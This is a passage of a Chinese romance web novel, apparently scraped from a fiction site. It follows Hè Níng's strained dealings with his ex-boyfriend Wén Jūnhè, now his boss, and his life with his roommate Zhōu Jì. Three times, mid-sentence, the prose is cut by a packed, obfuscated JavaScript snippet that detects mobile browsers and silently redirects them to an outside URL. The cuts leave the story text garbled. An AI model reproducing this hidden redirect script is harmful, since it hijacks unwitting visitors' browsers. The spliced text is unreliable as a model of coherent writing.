现在闻君鹤当着他的面,把他捧出的心意碾得粉碎。 “我没告诉过你,那些用在我身上的招数烂透了,居然还好意思再用在别人身上。” 贺宁无话可说。 今天闻君鹤告诉他,贺宁曾经努力做的一切没有感动他一丝一毫。 愤怒他去祸害别人吗?只是为一个陌生人而不平吗? 贺宁不知为何自己突然想笑,原来自己那些年的付出,在闻君鹤眼里就是个笑话。 闻君鹤最后也没要那件黑衬衫,而是自己选了件白衬衫,贺宁想要付钱,闻君鹤却先一步刷卡,提起纸袋抬腿就往前走。 贺宁在他身后跑了两步,又消极地放弃追逐。 他想,最好闻君鹤能够把他扔下,他自己一个人走回去。 可闻君鹤没有,可那辆黑车还是倒了回来,稳稳停在他面前。车窗降下,闻君鹤的脸色比刚才更难看。 贺宁没动。 他突然希望闻君鹤能做得更绝一点,就像当年他家出事时,这人明明该头也不回地走掉,却偏要说带他一起出国。 这种勉强自己的怜悯比厌恶更让人难堪。 闻君鹤没必要同情他的,他也算是受害者。 贺宁说:“……不用了,闻总,我把你衬衫送去干洗店吧,应该能洗掉。” 闻君鹤随后开车离开了。 闻君鹤的车开走了,贺宁站在原地发了会儿呆,才想起要把那件弄脏的衬衫送去干洗店。 他回到公司,下班之后,他坐上周纪的车,突然想起落在公司的饭盒。 闻君鹤一回来,他什么节奏都打乱了,像被按了暂停键,做什么都慢半拍。 贺宁敲了一下自己的头,周纪让他别敲了,越敲越傻。 他们一起去超市买了个新饭盒,然后制定明天的菜单,周纪拿了个比脑袋还大的包菜举起来,问他猜有多重。 贺宁接过来掂了掂,然后用手指比划把它分成四份,依次点了点:“这爆炒,这凉拌,这做粉丝包菜汤,这做菜包子。” 突然身后有人叫了一声君鹤,贺宁回头,看见闻君鹤推着购物车站在货架尽头,目光沉沉地落在他和周纪身上。 韩卿上前对闻君鹤说:“怎么一会的功夫,你走这么快。” 韩卿顺着闻君鹤的目光也看向了贺宁。 4. 可闻君鹤怎么看着就是不爽 韩卿穿着一套舒适的休闲服,和闻君鹤站在一起像是下班后一起逛超市的情侣。 贺宁垂眼,努力无视不远处的目光,心头却止不住的酸涩。 他不明白闻君鹤为什么偏偏还是选了韩卿,是故意要让他难堪,还是他所谓的理想型始终是他? 那两个人看过来的眼神实在不太友好,周纪察觉气氛不对,推着车带贺宁快步离开。直到转过货架,确认那两人看不见了,周纪才松开手问他还好吗。 周纪问贺宁还好吗? 贺宁把手从他手里抽出来,点点头。 周纪盯着贺宁看了几秒,突然伸手揽住他的肩膀,带着他往收银台走。那只手很有力,像是要把人从泥潭里硬拽出来:“别回头看了,往前走就对了。” 韩卿瞥了眼身旁的闻君鹤,男人脸色阴沉得吓人,手指死死扣着购物车把手。 他想起几年前他飞去英国,闻君鹤醉倒在酒吧卡座里,向来梳得一丝不苟的头发散乱地搭在额前,那双完美的浅灰色瞳孔第一次看起来茫然又悲伤。 “他凭什么……凭什么先提分手?” 回去的路上贺宁一直没说话,车窗外的霓虹灯在他脸上投下忽明忽暗的光影。 周纪把购物袋里的东西一件件拿出来归位,余光瞥见贺宁盯着手里的包菜发呆,于是把他赶回房间休息了。 他们是三年前认识的,周纪不得不承认,第一次见到贺宁时,他的皮相实在惊艳,皮肤白皙,五官也很有灵气,即使有些落魄消瘦也不难看出以前是过得应该不错。 那个时候贺宁突发哮喘晕倒在路上,要是迟一点送去医院,后果不堪设想。 周纪在医生检查的时候,听他说起现在这么严重应该是不重视生生拖重的,最开始还只是季节性过敏咳嗽。 周纪看着躺在病床上闭着眼睛昏迷着,脸上微红的贺宁,不由心情有些复杂。 也是那天从他从贺宁钱包里找他身份证的时候,看见夹层里贺宁和一个男人交换戒指的合照,那样的背景像是婚礼,很漂亮,贺宁在笑,而另外一个主角面容英挺,身上一股子高冷的味道,即使那样的场合表情也很淡。 贺宁醒来时还有点发懵,缓过神后第一件事就是摸出手机给主管打电话请假。他声音哑得厉害,说了两句就咳起来。 挂断后,他转头对周纪道谢。 周纪跟他说了最好还是住院观察几天,自己的身体还是要照顾好,贺宁似乎听到这句话很紧张,连忙开口解释道。 “我有好好照顾自己的,我只是最近在忙着找房子……所以没怎么睡好……” 后来周纪有一次下班的时候碰到了慢吞吞走出公司的贺宁,朝他打了打招呼,贺宁看见他的时候一时也有些吃惊。 周纪问:“房子找好了吗?” 贺宁似乎有些挫败地摇摇头,周纪于是说他最近在找合租室友。 很快贺宁就搬到了周纪住的公寓,他收拾了自己的房间,他的房间比周纪的小一些。 周纪从来没告诉贺宁,在提出合租前,他好几次在下班路上看见那人独自坐在滨江路长椅上。贺宁总是裹着件单薄的外套,双手插在口袋里,一动不动地望着江面上摇晃的灯光。夜风吹乱他的头发,他却像感觉不到冷似的,就那么坐着,下巴缩进衣领里,背影融进夜色里,安静得像幅剪影。 一个人呆呆地盯着不远处灯光潺潺的水面。 周纪看着他的背影,感觉整个人好像碎掉了。 周纪当时就想,这个看起来不过二十出头的年轻人,怎么像是已经活过了一辈子那么累。 周纪记得贺宁刚搬来时经常忘事,钥匙插在门上过夜,烧水壶干烧到变形,贺宁说这是手术后遗症,麻醉事故伤到了脑子。 周纪问他生了场很大的病吗?贺宁含混地点头,贺宁迟疑地点点头,但也没有细说。 现在已经好多了,渐渐地他们互通信息,周纪才知道贺宁的“贺”是那个上过新闻的贺闳兴的“贺”。 贺闳兴很出名,可贺闳兴的儿子只是个普通人,早年的那些亲戚在贺家出事后早早躲得不见踪影,贺宁也不愿意再联系任何人。 贺宁是独子,早年他母亲生下他就去世了,从前叫贺涵,贺宁起初不叫这个名字,他原本叫贺涵,后来改成贺宁,是贺闳兴后来改的,像是某种徒劳的期许。 “宁”这个字就一个意思,宁静顺遂。贺闳兴给儿子取这个名字的时候,大概只盼着他能健康长大。贺宁也确实被养得金贵,从小要什么有什么,脾气骄纵得很,半点委屈都受不得。 贺宁把明天的便当装好放进冰箱,码得整整齐齐,每天搭周纪的顺风车,他就负责准备两人份的午餐作为回报。 收拾完厨房,他坐在书桌前翻开工作笔记,顺手从抽屉夹层里摸出本磨了边的日记本。 在本子上写了几句白日里发生的事,转个弯又写下一句。 ——我也不会祝福他们的,因为我真的很讨厌韩卿。 贺宁盯着这行字看了会儿,啪地合上本子塞回原处,像是怕被人看见似的。 闻君鹤空降公司后,整个办公区都绷紧了神经。新官上任三把火,各部门都在忙着适应新领导的作风。 贺宁刻意回避,几乎可以确认不会碰到闻君鹤。 他和周纪吃饭的时候,突然刷到了闻君鹤的社交平台更新了一张好像图片,那是一个很丰盛的便当,配着窗外照进来的阳光,显得很有食欲的样子。 贺宁心里嘀咕想着,该不会是韩卿给他做的吧。 闻君鹤刚出国那年,贺宁注册了个小号偷偷关注他。第一次鼓起勇气留言,是看到闻君鹤发了张异国的阳光照片。他回了个太阳表情,之后每隔五分钟就刷新一次页面,生怕自己的留言太突兀。后来发现评论区挤满了闻君鹤的同学朋友,他那条早就淹没在人群里,根本没人注意。 闻君鹤第一次回复他的时候,是闻君鹤上传了他的手掌正摸着一只棕色小狗头的图片。 贺宁发了一句养狗了吗?他就没管。 结果好像没多久后,突然就收到了闻君鹤的回复。 ——没,路上碰到的。 贺宁盯着手机屏幕发愣,手指悬在键盘上方半天,最后还是锁了屏。他没再评论过闻君鹤的动态,倒不是有什么非分之想,只是觉得隔着屏幕看看那人的生活,像是抓住了和这个世界的一点联系。 具体图什么,他自己也说不明白,可能就是需要从闻君鹤那里汲取点活下去的力气。 加班到晚上八点,贺宁揉了揉发酸的眼睛,盯着被驳回的设计稿重新修改。整个部门都亮着灯,键盘声此起彼伏。突然林珂在办公室那头喊了句:“大家停一下,闻总请喝饮料。” 贺宁准备拿一杯咖啡离开的时候,林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900373|176590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珂突然叫住了他:“贺宁,等等这杯是你的,荀秘书刚才特意交代的。” 递过来的是一杯热牛奶。 林珂说这是荀秘书特意交代的,贺宁愣了一下。他对咖啡过敏,但不算太严重,喝多了也就是胳膊起疹子,两三天自己会消。 这事除了闻君鹤没人知道,牛奶捧在手里有点烫,热气糊在眼镜片上,白茫茫一片。 贺宁突然想起以前闻君鹤总说他难养,咖啡过敏、海鲜过敏,连吃个芒果有时候都能起一身疹子。 正出神,闻君鹤从办公室那边走过来,西装笔挺的身影在灯光下格外醒目。贺宁不自觉地抬头,正好对上闻君鹤扫过来的视线。 闻君鹤身材挺拔,眉峰往下压的时候,给人一种压迫感,他只是看了贺宁一眼,就漠然收回视线。 耳边响起了接二连三感谢闻君鹤的声音。 “跟大家的辛苦比起来不算什么,毕竟是我任职的第一个项目,拜托大家了,等项目结束,假期一定会补上的。” 一时整个屋子都热闹起来,闻君鹤一直人缘都很好,也很会做人,贺宁就没见过不喜欢他的人,不像贺宁,被疏远和排斥是常有的事。 以前就有很多人讨厌贺宁,贺家倒了之后,这种情况也就变得非常平常。 贺宁曾经有段时间非常想要这种能力,他捧着那杯热牛奶在工位上足足盯了十分钟,他才重新做他的设计图。 结果等到他终于做完,公司已经只剩他一个人了,他往里看了一眼,收拾东西准备离开,还是把那杯没喝几口的牛奶带上了。 “等等——” 贺宁和闻君鹤站在同一部电梯里,他几乎站在了最里面,他望着不断下降的楼层数,第一次觉得时间是那么难熬。 直到看到倒数到第十层的时候,闻君鹤突然开口问道:“你跟你那个男朋友是我出国以后的事吗?” 贺宁突然想起他给闻君鹤打电话分手那天,他趴在医院的窗口,他住院了,很难受,护士原本不让他下床的,他远远地底下来来往往的行人,鼓起勇气对那头的闻君鹤提出分手。 直到听到那头的闻君鹤沉默很久说好,他突然由衷地为他感到高兴,仿佛松了口气地瘫软在地上,拔出了电话卡,他擦了擦眼角,盯着天花板发呆,仿佛刚才那个电话耗尽了他全部力气。 “……嗯。” 闻君鹤又找到一个嘲讽他的机会,冷哼一声:“你还真是一点都耐不住寂寞。” 贺宁当然不会讨嫌地去反驳他的话,装作听不懂闻君鹤的话。 他又怕闻君鹤又大发善心地要送他,等一出电梯就先发制人:“闻总,我男朋友呆会就到,我在外面等他,再见。” 贺宁看着闻君鹤的车离开后,打算走一段路,然后坐公交回去。 闻君鹤坐在车里,看着贺宁坐在不远处的站台,手臂撑在身边,戴着耳机,低头盯着自己的运动鞋,以前的贺宁无论什么事都要跟他嘚瑟,做一件事前准备都要在他耳边嚷千百次,张扬得像个不知收敛的小刺猬。 个性鲜明,丝毫不关心他人看法。 如今贺宁有礼有节,保持距离,说话客客气气,做事规规矩矩。 可闻君鹤怎么看着就是不爽。 闻君鹤也不知道盯着贺宁多久,他手臂搭在车窗边,直到公交车进站,贺宁起身刷卡上车,背影很快被人群淹没。 5. 原来没心没肺的贺宁也会抑郁 贺宁回去的路上一直看着窗外。 到站后他慢吞吞往家走,突然发现周纪的车停在楼下阴影里,车身微微晃动,要不是多看了两眼差点错过。 贺宁走过去弯腰敲了敲车窗,里面顿时传来一阵更加慌乱的动静,一个男人突然打开副驾下来,伴随着的是周纪一声气急败坏的“滚”。 副驾驶下来个穿皮衣的高个男人,寸头,眉眼凌厉,浑身透着股野性。 那人瞥了眼贺宁,突然勾起嘴角冲车里说了句:“原来你好这口?” 那声音带着戏谑。 周纪在驾驶座气得又骂了句“滚”,皮衣男临走前又打量了贺宁一眼,目光像刀子似的刮过,笑得意味深长。 贺宁面上狐疑不定。 只听那男人单手插兜,撑着车门朝周纪说:“老头子已经把南区生意全交我手上了,这回谁也别想撵我走,你自己掂量着,别逼我来硬的。” 车内的周纪没回应。 男人似乎很满意他的反应,突然嗤笑出声,从口袋里摸出打火机。火苗窜起的瞬间照亮他半边脸,下颌线条如刀削般锋利。他深深吸了口烟,故意冲着贺宁的方向吐了个烟圈,这才转身走人,皮靴踩在水泥地上发出沉闷的响声。 周纪声音闷闷地传来:“贺宁,不好意思,吓到你了,你先上去吧。” 贺宁望向周纪,他声音听上去不太开心,目光直视着前方,手指却死死抓着方向盘。 周纪侧脸紧绷,衣领凌乱,贺宁见状识趣地点点头:“好,那纪哥先上去了,你也……早点回家。” 结果贺宁没走几步,他听见身后传来“砰”的一声闷响,是周纪一拳砸在了方向盘上。 周纪推门进屋时,已经收拾好了情绪,脸上挂着往常那种温和的笑。他一边换拖鞋一边解释:“刚才那人是我弟,叫周崇。” 贺宁疑惑:“弟弟?” 周纪把钥匙扔进玄关的碗里,发出清脆的碰撞声:“我爸战友的儿子,父母出事后就被我家收养的。” “我们早些年有些矛盾,他对靠近我的一切人都满怀敌意,”周纪说,“不过我会让你离你远点的。” 贺宁点点头,眼神飘忽地往周纪脖子上瞟,支支吾吾道:“……纪哥,脖子……” “嗯?”周纪疑惑地摸了摸颈侧。 贺宁指了指喉结附近的的位置:“这里留印了……” 周纪的表情一时有些复杂。 贺宁并不刨根问底,没有多问就非常体贴地回房间了。 那几天周纪午饭都没有和贺宁吃,那个突然冒出来的弟弟让周纪似乎很焦头烂额。 贺宁于是一个人去食堂吃的饭。 食堂人声嘈杂,他端着餐盘找了个角落坐下,吃完后去饮料柜拿了瓶橙汁。排队结账时,身旁突然多了个人,一只骨节分明的手把罐装咖啡搁在收银台上。 闻君鹤的语调好像没有起伏:“帮我结掉,我没带钱包和手机。” 收银员看看咖啡又看看橙汁,等着贺宁反应。贺宁默默把两样东西往扫码器前推了推,出示了付款码。 贺宁于是帮闻君鹤一起付了,走回去的路上,闻君鹤突然开口问说:“几天后的高中同学聚会你会去吗?” 贺宁:“……我不知道。” 贺宁以前高中人缘本就不好,班里的一大部分人都都对闻君鹤有过春心萌动,加上之前他跟闻君鹤谈恋爱,于是更成为很多人眼中钉。 他记得自己毕业的时候,就被和他有旧怨的学习委员把他直接从群里挪了出来。 贺宁不知道闻君鹤是真的不知道还是假不知道。 “以前你那些……朋友呢?就那个叫孟轩的。” 孟轩就是以前他的跟班,闻君鹤很不喜欢他。 贺宁听到那个名字时面色僵硬,手里捏着饮料瓶,怔了怔:“我们……已经很久没来往了。” 闻君鹤双眸微眯:“是吗?” 贺宁以前经常跟着孟轩他们出去玩,其实他并不喜欢那些场合,但闻君鹤总是忙,实验室、图书馆、导师项目,排得满满当当。他只能跟着孟轩去他们攒的局,喝得晕头转向时,就缩在KTV角落给闻君鹤发定位。 记忆里最清晰的是闻君鹤推开包厢门的画面,那人冷着脸穿过一群人,在一片起哄声中把他拽起来带走。闻君鹤的手指很凉,扣在他腕子上开口说:“贺宁,你真够可以的。” 等闻君鹤生气后,他更是后悔到了极点,又巴巴地前去哄人。 孟轩跟他说了很多次,闻君鹤没劲透了。 贺宁反驳说:“我觉得他很有意思啊,” 孟轩就斜眼瞥他,叼着烟,嗤笑一声转过头去:“行行行,少爷您开心就好。” 贺宁以前最烦那些狐朋狗友往闻君鹤身边凑,可他自己也挤不进闻君鹤的世界。那时他就想,他们真是这世上最不相称的一对情侣。 刚开始在一起时贺宁总不安分,变着法子招惹闻君鹤,试探他的底线。后来发现无论怎么闹,闻君鹤就算提了分手,也不会动真的,他就渐渐收了性子。 那时候他还天真地以为,这是对方终于被他打动的证明。直到后来才知道,闻君鹤忍着他那些胡闹,不过是被他爸捏住了软肋。 现在想想,那些自以为是的甜蜜时光,对闻君鹤来说恐怕每分每秒都是煎熬。 高中毕业那晚,贺宁借着酒劲把闻君鹤拉进了酒店。他记得自己当时手指发颤地解扣子,闻君鹤却站在床边没动,睫毛垂下来遮住了眼神,只说要去冲个澡。 现在回想起来,那人在浴室里待了将近半小时,大概都是在做心理建设然后等药效发作。 等闻君鹤出来时,发梢还滴着水,落在锁骨上又滑进衣领。 贺宁迫不及待地勾住他脖子亲上去,嘴唇相贴的瞬间,闻君鹤的身体明显僵了僵。起初只是贺宁单方面的纠缠,后来不知怎么的,闻君鹤突然扣住他后脑勺反客为主,吻得又凶又急,像是要把什么压抑已久的东西发泄出来。 那次确实算不上什么美好体验。闻君鹤执意要关灯,贺宁当时还以为他是害羞。黑暗中两人笨手笨脚地摸索,闻君鹤生涩得厉害,最后还是贺宁红着脸自己来。 完事后贺宁脸上还挂着泪,一扭头却看见闻君鹤失魂落魄地坐在床边,头垂得低低的,活像被欺负的人是他。 闻君鹤回办公室之前特意跟贺宁说:“你回去同意一下好友申请,我把钱转给你。” 贺宁一看是闻君鹤从公司大群里加了他。 当初是贺宁先把闻君鹤的联系方式删掉的,因为他怕自己会忍不住找他。 他还是用的以前那个账号,不过里面的动态被他一条条设置成仅自己可见,有时候他会在深夜里翻着朋友圈里以前和闻君鹤的合照看。 贺宁看着闻君鹤好几年都未曾变过的头像,那是有一年他和闻君鹤坐在学校的天台拍的。 那是春天,贺宁因为满城的柳絮过敏而烦恼,他坐得有些高,两条腿悬空晃悠着,舔着快化掉的草莓冰棍,嘟嘟囔囔地抱怨,体育课为了看闻君鹤打球,被一群女生挤得崴了脚。 他把裤腿卷起来,指着微肿的脚踝给闻君鹤看:“都怪你太招人了。” 闻君鹤站在他面前,闻到一股甜腻的草莓香。低头看见那人白生生的脚腕上泛着红,想起贺宁挤在一堆小姑娘中间跳脚张望的样子。 “难受?”他问。 贺宁立刻委屈巴巴地点头,眼睛湿漉漉的,像只讨安慰的猫。 闻君鹤伸手弹了下他额头:“活该。” 贺宁捂着额头,整个人没骨头似的往闻君鹤身上靠。他把下巴搁在对方肩上,说话时热气全喷在闻君鹤耳根:“我就知道你会这么说,闻君鹤,你真是全世界最不体贴的男朋友。” 闻君鹤由着他闹,只在贺宁把冰棍快化完的时候说了句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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恩师傅摩挲着茶杯,若有所思道:“那孩子当初家里不是发生挺大变故的吗?你出国后,有一次他想提前办复课手续,但是材料不全,因为他当时是以抑郁休学的,所以需要学校的心里室对他进行评估测试,可是他心理条件根本不符合复课条件,学院就否了他的申请,当时经办人是我爱人。” “我恰好碰见他从教务处出来,那天还下着小雨,他一个人在教学楼后面崩溃地在哭,我也知道现在的小年轻自尊心强得很,也不好上前安慰,便给了他一把伞。” 闻君鹤突然想起恩师描述的场面,贺宁一个人躲在教学楼后哭泣,精准地扎进他心口最软的地方。 他记得贺宁提分手那天,电话里的声音都听不出异样。 他出国的时候,他一直情绪也很稳定。 如今骤然从他人嘴里听到 闻君鹤突然觉得喉咙发紧。 “我就让我爱人定期关心一下他的病情,知道他在积极治疗,后来一年后我有一次在学校看见他了,整个人瘦得厉害,有一次我碰见他,还问起你,我问你怎么样?他愣了愣还说你很好。” 恩师叹了一口气:“我就以为你们一直都在一起。” 闻君鹤:“……他当初情绪低落,而且情况特殊的确不适合上课,可他没告诉我有提前申请过复学,他一直在我这儿都是想一出是一出,甚至没在我面前表现得有异常……” 贺闳兴坏事做尽,到底不可能一点不为他儿子留打算留后路,他出事后,暗地里就有好几波人往他们住处窥探,甚至往信箱里塞过钱。 闻君鹤曾经抓住过一个偷偷摸摸送钱的人。他把人按在巷子墙上,警告他们别再靠近他们。 那些人塞来的钱他们一分没动,贺宁他自己会养好。 他以为这样至少能让贺宁清清白白地不会被贺闳兴影响分毫。 闻君鹤以为贺宁离开自己以后,虽然不比以前,但也不至于过得太差,原来没心没肺的贺宁也会抑郁,休学那年的反常,复学时的艰难,还有躲在教学楼后崩溃的哭声。 他一点都没告诉过他。 6. 他是被这个笨蛋甩的 闻君鹤第一次去贺家,入目便是那栋依湖而起的三层西式洋房。 那是贺宁从小长大的地方。 整体建筑看上去并没有年代久远的感觉,碧波无澜的湖水呈现出一种很纯净的蓝色,远远眺望过去仿佛跟天空连成一线。 车子往里进的时候,需要经过很长一片的迎宾松,中西结合,洋房周边有独立的花房和中式建筑,占地面积不小,红瓦白墙,越往里进视野逐渐狭窄。 闻君鹤是被贺闳兴客客气气地请到家里。 闻君鹤坐在车里的时候,沉默计算了大约从外面进来花了六分钟,有人替他打开车门,他看着面前堪称奢华的洋房,脸上闪过一丝不洗察觉的不耐烦和厌恶。 他第一次走进这样与他格格不入的地方,丝毫没有什么受宠若惊之类的情绪,有的只是很烦和不适。 空气中萦绕着淡淡的类似于香氛的味道,大厅很大,房子里到处充溢着的好像都是金钱的味道。 那个时候贺宁追了闻君鹤很久,每天的花样不计其数,他已经很烦了,偏偏有一天放学几个男人面无表情地请他走一趟。 那时贺闳兴看上去大约四十出头,多年位高权重,让他浑身有一股不可轻视的压迫感。 他靠坐在沙发上,示意闻君鹤坐,有人替他倒上一杯茶水,他看着闻君鹤不紧不慢地道:“小闻是吧,今天找你来,也没有别的意思,我听说我儿子喜欢你,正在追求你。” “小孩子家家懂什么是喜欢,不过宁宁从小到大没这么追在一个人身后。” “所以呢?他喜欢我,我就该感恩戴德吗?”闻君鹤面对贺闳兴没有一丝怯懦。 少年听不出一点欢悦,反倒是有一种被贺宁缠住的困扰,闻君鹤看着大理石的地面:“贺宁的喜欢让我很烦恼,麻烦您劝劝他。” 贺闳兴看着面前的少年人,像是在打量,平静地道:“你拒绝了他,他会很伤心。” 闻君鹤不明白贺闳兴到底想说什么,他以为贺闳兴将他请过来是警告他离自己儿子远一些的,毕竟他们不是一个世界的人。 所以他一开始就摆明了自己的态度。 可贺闳兴跟他预想的相比,似乎不太一致,贺宁性格天真自我,身边有一大堆随从。 闻君鹤听完贺闳兴的话,突然就知道贺宁这样是谁宠出来的。 “我走到站在这个位置,很多东西对我来说都不重要,可是唯独我心尖尖的儿子,谁都不能欺负他。” 贺闳兴坐在真皮沙发上,指尖夹着雪茄,烟雾缭绕中露出个意味深长的笑:“我很欣赏你,但更不想看宁宁难过。” 他往前朝烟灰缸里掸了掸烟灰:“陪他谈个恋爱怎么样?就当哄孩子开心了。” 哄贺宁开心? 那时候闻君鹤想,自己难道是摆在橱窗里的玩偶,专供他人取乐的吗? 闻君鹤离开的时候,看着墙上挂的贺宁从小到大的照片,照片里的小孩从蹒跚学步到逐渐成人,每张都被精心装裱。 贺宁那股子天真任性的劲儿,分明就是被眼前的贺闳兴一手惯出来的。 贺宁今天上班的时候,就发现闻君鹤看他的眼神不对。 中午休息的时间,贺宁拎着饭盒准备去找周纪,刚走到楼梯口就被闻君鹤叫住:“过来一下。” 贺宁跟过去,听见闻君鹤开口问:“你当初生病为什么不告诉我?” 贺宁手指攥紧饭盒,告诉闻君鹤又能怎样?也许能多拖住闻君鹤一段时间,可那又有什么意义,不是出于爱,只是责任。就像他爸出事时,闻君鹤明明可以一走了之,却还是说要带他出国。 闻君鹤就是这样的人,看着冷淡,骨子里却责任感爆棚。 韩卿说得很对,他只会变成别人的负担,闻君鹤往上走的绊脚石。 那段时间他想了很多,不能继续拖累闻君鹤的念头不是突然冒出来的,而是像细沙,一点一点堆积起来的 “……我已经好了,而且我把自己照顾得很好。” 贺宁习惯跟每一个人说“我把自己照顾得很好”,因为他怕自己探监的时候露馅,隔着玻璃窗,他会挺直腰板跟父亲,自己朋友很多,工作顺利,生活充实。 闻君鹤突然嗤笑了声,伸手扯开他的袖子,露出起了疹子的手臂:“这就叫把自己照顾好?你那个男朋友不知道你对海鲜过敏吗?你还给他做海鲜。” 贺宁下意识缩了缩胳膊,眼神飘忽。其实是他自己嘴馋偷吃了两口,跟周纪没关系。但现在解释这些又有什么意义? 突然闻君鹤拿出手机,划开屏幕怼到贺宁眼前,照片里周纪被那个皮衣男按在车座上亲,两人交叠的身影在昏暗车厢里格外扎眼。 贺宁瞳孔猛地收缩:“你……你怎么会有这种照片?” “看清楚了吗?”闻君鹤把图片放大再放大,足以非常清晰看到两个人的动作,“现在跟你那个男朋友分手。” 贺宁默了默,盯着闻君鹤的脸,一时有些不可置信,这照片究竟是怎么来的?谁拍的?怎么会在闻君鹤的手里? 周纪原来跟他那个弟弟搞在一起的吗? 闻君鹤:“现在就去。” “......你这样随便拍别人不太好吧。”贺宁下意识回了句。闻君鹤明显愣了一下,像是不敢相信他这反应:“你就不生气?” 他把手机又往前递了递:“看清楚他们在干什么了吗?” 贺宁才突然想起周纪现在是他“男朋友”,他这样的反应确实不太对,垂眸说:“生气啊,不过人非圣贤孰能无过……再说这明显是那个皮衣男强迫周纪,他跟我解释过了。” 闻君鹤的脸色越来越差,贺宁还是第一次看到他露出这幅表情,连忙瞥开了视线:“……我得先走了,周纪还在等我吃饭。” 闻君鹤被贺宁这段发言弄得有些心梗。 闻君鹤太了解贺宁了,以前这人满心满眼都是自己,黏人得要命,恨不得变成挂件拴在他身上。有人靠近他一点,贺宁就能闹得天翻地覆。 那时候闻君鹤常常想不通,怎么会有人把整颗心都系在别人身上,喜怒哀乐全由另一个人掌控。 现在看着贺宁这副无动于衷的样子,闻君鹤突然觉得陌生,平静得像是换了个人。 闻君鹤盯着贺宁看了几秒,胸口莫名发闷,以前那个会因为他多跟别人说句话就炸毛的贺宁,现在连“男朋友”跟别人亲热都能轻描淡写地说“没什么”。 那次贺宁闹脾气,带了一帮人去他们住的地方开派对。闻君鹤推开门就看到满地酒瓶和零食袋,贺宁醉醺醺地瘫在沙发上,旁边还坐着个往他身上靠的男生。 闻君鹤当场摔门走人,回了姑姑家。 第二天贺宁就追来了,顶着宿醉的脸跟他道歉,说自己不该带人回家。可说着说着又委屈起来,声音越拔越高:“还不是因为你不陪我。” 闻君鹤很少跟人吵架,向来是冷着脸不理人,可贺宁总有本事把他逼破功。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900375|176590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我课表你不是没见过,”闻君鹤冷冷开口道,“贺少爷,地球不是围着你转的。” 贺宁因为闻君鹤一句贺少爷红着眼睛瞪他。 闻君鹤开口说:“你不是朋友多得很吗?随便挑个随叫随到的男朋友不就行了吗?” 话说出口,贺宁就摔门出去了,背影气得发抖。 可没过多久,贺宁又回来了,跑回来的脚步声很急,扑过来手指掐着闻君鹤的脸颊肉:“可他们都不是你啊!全世界就一个闻君鹤,我就要这个!” 闻君鹤当时愣住了,没想到会得到这种回答。 贺宁总是这样,喜欢什么就恨不得昭告天下。高兴时能把人捧上天,一句接一句的“闻君鹤你怎么这么厉害”;讨厌谁就直接写在脸上,连装都懒得装。 心思全都写在脸上。 也很好骗,像个笨蛋一样迷糊。 可是闻君鹤最后怎么也没想到,他是被这个笨蛋甩的。 现在看着眼前这个对“男朋友”出轨都无动于衷的贺宁,闻君鹤鬼使神差地说了句:“你以前不是这样的。” 分手后的第一个星期,闻君鹤还笃定贺宁会打来电话。那段时间他破天荒地把手机调成了响铃模式,连上课都放在桌上,结果被教授警告了好几次。 一个月过去他点开和贺宁的对话框,发出消息的那一刻,提醒他被删了。 贺宁要走,闻君鹤偏不如他的愿。 “贺宁,需要我跟你解释一下吗?这是出轨,你的容忍度未免也太高了点吧。” 如果贺宁能忍受这种原则性问题,所以他当初什么都没做,贺宁凭什么要跟他提分手! 贺宁知道自己现在在闻君鹤眼里肯定像个彻头彻尾的傻子,不过反正他在这人心里本来也没多聪明。 闻君鹤居然还专程来提醒他“被绿”,还是够仁至义尽的。 现在这局面全怪他当初撒的那个谎。要是让闻君鹤知道他和周纪根本不是那种关系,八成会觉得他打肿脸充胖子。比起被前任看到自己过得惨,贺宁觉得被前任带着新欢耀武扬威更难受,尤其当新欢还是韩卿。 贺宁觉得早就没剩多少自尊心了,现在只想保住最后这点体面,假装自己早就翻篇了。 “谢谢你提醒,”他扯出个笑,“不过我现在没那么幼稚了,我成熟很多了,情侣之间也该有点私人空间,而且周纪给我解释了,这是他弟弟,兄弟两之间抱一抱……亲一下,没什么吧。” 贺宁自己越说都有些心虚。 闻君鹤脸色阴沉地望他:“……成熟?你还挺得意的是吧。” 闻君鹤见他这幅油盐不进的模样,突然觉得他以前对贺宁的智商还是评估有误差。 这不仅傻,眼睛还有点瞎。 “现在天台不让上去了。” 贺宁:“没有这个规定啊。” 闻君鹤:“现在有了。” 于是贺宁去了周纪公司食堂吃饭。 闻君鹤听说之后沉默了很久。 他找个个人盯着周纪,每次看到贺宁那副被人卖了还帮忙数钱的蠢样,就感觉像喉咙里卡了根刺,咽不下去又吐不出来。 贺宁对周纪说,跟闻君鹤这个人说话太费劲了,因为他很聪明,会找你的语言漏洞,幸好他以前在他面前装傻充楞惯了,闻君鹤一般都会捡着他的好听的话听,懒得去费心琢磨。 周纪若有所思道:“你们一个装傻,一个真认为你傻,还挺配的。” 7. 事故 贺宁听着周纪的话,干笑了两声。 等到那项目终于结束,那晚公司定了个酒店餐厅。 贺宁默默吃了晚饭准备离开,突然,徐经理就拿起酒杯补充道:“闻总说了,明天大家放假,今晚上不醉不归。” 